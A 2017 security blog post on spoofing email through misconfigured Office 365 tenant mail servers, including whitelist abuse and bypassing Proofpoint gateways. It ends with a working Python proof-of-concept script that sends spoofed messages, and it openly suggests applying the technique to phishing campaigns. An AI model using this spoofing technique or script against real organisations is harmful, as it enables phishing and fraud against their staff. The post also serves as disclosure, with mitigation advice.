Tuesday, July 11, 2017

Abusing Misconfigured Cloud Email Providers for Enhanced Phishing Campaigns

The other day, I was looking into online cloud email providers for enterprises, such as Office 365 and Google Apps for Business. This stemmed from thinking about ways to bypass email spam protections such as Proofpoint.

There's a utility I use called dnsdumpster, which is a fantastic online service for quickly checking out the DNS records for a particular domain. You literally just type in a domain name and get back their DNS servers, their MX records, their TXT records, and a few of their A records.

You can usually use the DNS records for a domain to quickly identify if they are utilizing any kind of cloud provider for their email.

For example, if a domain is using Office 365, their MX record might contain *.mail.protection.outlook.com:

MX record for niu.edu

This isn't always necessarily the case depending on the organization, but is generally a 'good enough indicator™'. Other indicators may be present in the SPF records for the domain, such as this SPF record for nascar.com:



While we're on the subject of SPF records, let's touch quickly on how one can configure the restrictiveness of SPF records, and what they even do in the first place.

In layman's terms, Sender Policy Framework (SPF), is a mechanism that allows receiving mail servers to verify that incoming mail from a domain is coming from a host authorized by that domain's administrators. At the end of the SPF record, there should be an "all" qualifier, which depending on the character before it, defines how mail is handled from any sender not already in the SPF record. Wikipedia has a great article that goes into much further depth on this subject. An SPF record that ends with "-all" should say that all mail not matching any other entry in the record will be a fail, and the message should go straight to spam... right?

Well... not necessarily (more on this later).

Going back to the MX records for Office 365, each domain is assigned it's own *.mail.protection.outlook.com tenant. So nascar.com's tenant is nascar-com.mail.protection.outlook.com. According to Microsoft, Puma is an Office 365 customer, but neither their SPF records nor their MX records give any indication of this:

MX and TXT records for puma.com

However, if our theory is correct, and the Microsoft customer testimonial is correct, they should use Office 365, and their mail tenant, at least in theory, should be puma-com.mail.protection.outlook.com. Let's check if this resolves:


nslookup for puma-com.mail.protection.outlook.com

Okay, that resolves, and we have confirmed that they are in fact a user of Office 365, even though their DNS records give no overt indication of this.

Put your nostalgia glasses on, because we're going back in time! Everyone remembers that you used to be able to pretty much connect to random SMTP servers through telnet, and spoof the source of a message to the recipient of your choice. Attackers have been abusing open SMTP relays for years, and over time, mail administrators have been doing a better job of locking down their SMTP servers to prevent this.

So what happens when we try to relay mail off of Puma's Office 365 mail server?


As expected, we get back a message that relaying is denied for this server. This is all normally expected, but this is also the point where I got curious. Sure, I can't necessarily use this as an open mail relay, but, what would happen if I tried to relay mail from a puma.com email to another puma.com email?

lolwut

I didn't expect that at all. I haven't authenticated with this server, why is it accepting this? Now of course, I did not actually attempt to send a message to anyone at puma.com using this, as that would be illegal (hi FBI!).

But since the company I work for also uses Office 365, I can at least attempt to send an email to myself using our own tenant. I've censored the domain, but you're probably smart enough to figure it out if you really care that much.

Did... Did that just work?!
 There's no way that could have worked, right? RIGHT?! I mean, that would have landed in spam, it's not like that landed in my inbox or anything, right?:


Okay, this is weird. At this point, I wondered if I could spoof an email from my boss to myself:

Highlighted in the above email is the GTUBE Test String, which, even if the email was 100% legitimate, should automatically flag it as spam, but in this case... it wasn't...

What is going on here? Let's dig a little deeper.

By analyzing the message headers, we can get a lot of extra information about the message, and the protections it encountered. An overview of the useful antispam headers can been seen in this technet article.

The relevant headers that we will look at from this email are:
  • Received-SPF, telling us the results of the SPF record check
  • X-MS-Exchange-Organization-AuthAs, telling us who the user authenticated as
  • X-Forefront-Antispam-Report, giving us information about the spam engine results
In this email, these headers are:

HeaderValue
X-Forefront-Antispam-ReportCIP:xxx.xxx.xxx.xxx;IPV:NLI;CTRY:US;EFV:NLI;SFV:SKA;SFS:;DIR:INB;SFP:;SCL:-1;SRVR:xxxxxxxxxx;H:[xxx.xxx.xxx.xxx];FPR:;SPF:None;LANG:en;
X-MS-Exchange-Organization-AuthAsAnonymous
Received-SPFPermError (protection.outlook.com: domain of example.com used an invalid SPF mechanism)

The IP address we sent the message from, CIP, is contained in the header, but that's okay, we can always use a VPN (assuming it's not on a black list of course). The SPF lookup pretty much failed.

The values we are probably most interested in are the "Spam confidence levels" (SCL), SFV, which shows what happened to the message in regards to filtering, and NIL, which shows whether or not the IP we used is listed on any reputation blacklists.

In this case, the SCL is listed as... -1?

I should note, at this point I thought I had discovered a magical spam filter mechanism bypass, and was overjoyed. As it turns out, in Office 365, our domain was added to the spam white list. My background is not in mail administration, but it's reasonable to assume that it's fairly common for an admin to add their own domain to the whitelist for testing purposes, then completely forget about it.

In addition, if you can figure out what other domains would reasonably be on your target domain's whitelist, that also belong to Office 365, you can spoof a message from them to your target, and expect it to land in the inbox.

You have to put some thought into this, but these whitelists will usually be much more populated than you may think. Vendors, and high priority customers for the target domain are typically added to the whitelist. Always remember that when an executive can't get mail they expect, that's typically a 'resume generating event' for mail administrators.

We've learned how we can use Office 365's SMTP server to send spam filter bypassing messages internally, and from an Office 365 domain to another Office 365 domain. Any *.mail.protection.outlook.com server will route mail for any Office 365 domain(s). The mail will land in the inbox assuming   it's in the spam whitelist. You can extrapolate from there how to apply this to your phishing campaigns.

Let's talk about Proofpoint for a second. Proofpoint sells a product that provides a "secure email inbound gateway", and provides enhanced spam protections. For the most part, it works. Hell, it's even caused problems for me on engagements.

You can enumerate if a target utilizes Proofpoint by looking at their MX records; it'll contain a *.pphosted.com entry:


In addition, Proofpoint doesn't even let you internally relay mail on their SMTP servers. However... if our target is a user of both Proofpoint AND Office 365, we can use the Office 365 SMTP server for their domain to send mail into their environment, and bypass Proofpoint infrastructure entirely, as our spoofed message never hits the Proofpoint server at all!

So, what can be done to protect against this?

For starters, be as restrictive as possible with anything you put on your spam whitelist. Anything you put there opens you up to additional risk. Next, read this article, then read it again, the read it one more time, and start to cry as you realize you will never get the approval from anyone to get all of these recommendations in place.

If you'd like to check if your domain is vulnerable to this, you can utilize a POC I created to test this:


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python2
# Example usage: 365_mail_relay.py --from-addr sender@example.com --to-addr recipient@example.com --domain example.com --subject "SPAM TIME!" --from-name "John Doe" --to-name "John Smith"
# 20170709 - @Und3rf10w

import dns.resolver
import socket
import smtplib
import argparse
from termcolor import cprint

# Required command line arguments:
parser = argparse.ArgumentParser(prog="365_mail_relay.py", usage="%(prog)s [options]", description="POC to bypass 365 spam protections from one 365 user to another, including spoofing")
parser.add_argument('--from-addr', help="The address to send the email message from", required=True, dest='fromaddr')
parser.add_argument('--to-addr', help="The address to send the email message to", required=True, dest='toaddr')
parser.add_argument('--domain', help="The domain of an Office 365 user to use", required=True, dest='domain')

# Optional Command line arguments:
parser.add_argument('--smtp-server', help="The *.mail.protection.outlook.com smtp server to use", default=None, dest='smtpserver')
parser.add_argument('--subject', help="The subject line of the test email", default=None, dest='subject')
parser.add_argument('--from-name', help="The name of the email sender", default=None, dest='fromname')
parser.add_argument('--to-name', help="The name of the email recipient", default=None, dest='toname')

args = parser.parse_args()
argsdict = vars(args)
fromaddr = argsdict['fromaddr']
toaddr = argsdict['toaddr']
domain = argsdict['domain']
subject = argsdict['subject']
fromname = argsdict['fromname']
toname = argsdict['toname']
mx_record = argsdict['smtpserver']

def office_365_check(domain):
        'Grabs the SPF record for the domain'
        for x in dns.resolver.query(domain, 'TXT'):
                if 'v=spf' in x.to_text():
                        domain_spf = x.to_text()
                        print "[*] SPF records for " + domain + ": " + domain_spf
                        if 'protection.outlook.com' or 'sharepointonline.com' in domain_spf:
                                cprint(("[*] " + domain + " uses Office 365, likely vulnerable to attack"), "green")
                                return 1
                        else:
                                return 0

def get_mx_record(domain):
        'Checks for usage of proofpoint for the domain, and grabs an appropriate mx record for the domain'
        for x in dns.resolver.query(domain, 'MX'):
                domain_mx = x.to_text()
                if 'pphosted' in x.to_text():
                        cprint(("[*] " + domain + " is protected by proofpoint, attempting to resolve the domain's Office 365 SMTP server for spam bypass"), "yellow")
                        o365_name = domain.replace(".", "-") + ".mail.protection.outlook.com."
                        return socket.gethostbyname(o365_name)
                else:
                        print "[*] MX records for " + domain + ": " + domain_mx
                        mx_records = domain_mx.split()
                        return socket.gethostbyname(mx_records[1])

def send_mail_message(mxserver, fromaddr, toaddr, data, **kwargs):
        'Sends a message fromaddr to toaddr using mxserver'
        print "[*] Establishing connection to domain's mail server @ " + mxserver
        server = smtplib.SMTP(mx_record, 25)
        server.helo()
        server.sendmail(fromaddr, toaddr, msg)
        cprint(("[*] Email sent"),"green")

# Builds headers to make the message look pretty
msg = ""
if fromname is not None:
        msg += "From: %s <%s>\r\n" %(fromname, fromaddr)
else:
        msg += "From: %s\r\n" %(fromaddr)

if toname is not None:
        msg += "To: %s <%s>\r\n" %(toname, toaddr)
else:
        msg += "To: %s\r\n" %(toaddr)

if subject is not None:
        msg += "Subject: %s\r\n\r\n" %(subject)
else:
        msg += "\r\n"

# Add the highly spammy message
msg += """Dear Sir,

I have been requested by the Nigerian National Petroleum Company to contact you for assistance in resolving a matter. The Nigerian National Petroleum Company has recently concluded a large number of contracts for oil exploration in the sub-Sahara region. The contracts have immediately produced moneys equaling US$40,000,000. The Nigerian National Petroleum Company is desirous of oil exploration in other parts of the world, however, because of certain regulations of the Nigerian Government, it is unable to move these funds to another region.

You assistance is requested as a non-Nigerian citizen to assist the Nigerian National Petroleum Company, and also the Central Bank of Nigeria, in moving these funds out of Nigeria. If the funds can be transferred to your name, in your United States account, then you can forward the funds as directed by the Nigerian National Petroleum Company. In exchange for your accommodating services, the Nigerian National Petroleum Company would agree to allow you to retain 10%%, or US$4 million of this amount.

However, to be a legitimate transferee of these moneys according to Nigerian law, you must presently be a depositor of at least US$100,000 in a Nigerian bank which is regulated by the Central Bank of Nigeria.

If it will be possible for you to assist us, we would be most grateful. We suggest that you meet with us in person in Lagos, and that during your visit I introduce you to the representatives of the Nigerian National Petroleum Company, as well as with certain officials of the Central Bank of Nigeria.

Please call me at your earliest convenience at 18-467-4975. Time is of the essence in this matter; very quickly the Nigerian Government will realize that the Central Bank is maintaining this amount on deposit, and attempt to levy certain depository taxes on it.

Yours truly,

Prince Alyusi Islassis\r\n"""

# Add the GTUBE test string (http://spamassassin.apache.org/gtube/)
msg += "XJS*C4JDBQADN1.NSBN3*2IDNEN*"
msg += "GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34"


# Check to see whether 'domain' uses office 365
result = office_365_check(domain)
if result != 1:
        cprint(("[*]" + domain + " likely not vulnerable to attack."),"red")

# Resolve the MX record for 'domain'
if mx_record is None:
 mx_record = get_mx_record(domain)

# Send the spammy email
send_mail_message(mx_record, fromaddr, toaddr, msg)